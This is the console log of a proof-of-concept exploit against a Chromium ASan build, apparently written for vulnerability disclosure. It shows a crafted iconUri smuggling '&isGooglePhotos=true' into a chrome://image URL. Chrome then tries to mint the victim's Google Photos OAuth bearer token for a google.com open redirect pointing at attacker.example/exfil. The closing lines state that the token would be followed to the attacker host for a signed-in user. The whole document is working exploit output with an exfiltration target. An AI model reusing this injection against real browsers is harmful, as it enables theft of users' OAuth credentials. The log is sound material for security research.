[*] launching: /chromium/chromium/src/out/asan/chrome --headless=new --allow-chrome-scheme-url --remote-debugging-pipe --no-first-run --no-default-browser-check --disable-gpu --enable-logging=stderr --user-data-dir=/tmp/chrome-poc-profile about:blank
[*] created target CE71244EE96C66110898DE6DB84CD29A
[*] attached, session 786CAF10B700EA5001FF91234597FF0B
[*] renderer-side <img src>: {"src":"chrome://image/?staticEncode=true&encodeType=webp&url=https://www.google.com/open-redirect?continue=https://attacker.example/exfil&isGooglePhotos=true","usedRealComputeSrc":true}

==============================================================================
Aggregator-supplied iconUri (attacker input):
  https://www.google.com/open-redirect?continue=https://attacker.example/exfil&isGooglePhotos=true

computeSrc_() output set as <img src> in chrome://new-tab-page:
  //image?staticEncode=true&encodeType=webp&url=https://www.google.com/open-redirect?continue=https://attacker.example/exfil&isGooglePhotos=true

Browser-process log (sanitized_image_source.cc:201):
  [5251:5251:0411/200829.124862:ERROR:chrome/browser/ui/webui/sanitized_image/sanitized_image_source.cc:201] Failed to authenticate for Google Photos in order to download https://www.google.com/open-redirect?continue=https://attacker.example/exfil. Error message: Not authorized.

[+] CONFIRMED: injected &isGooglePhotos=true was parsed as a
    top-level chrome://image parameter; send_auth_token=true;
    browser attempted to mint the victim's Google Photos OAuth
    Bearer for the attacker-chosen *.google.com URL:
      https://www.google.com/open-redirect?continue=https://attacker.example/exfil
    With a signed-in user (attack precondition) the mint
    succeeds, the Bearer is attached, and SimpleURLLoader
    follows the 302 to attacker.example without stripping it.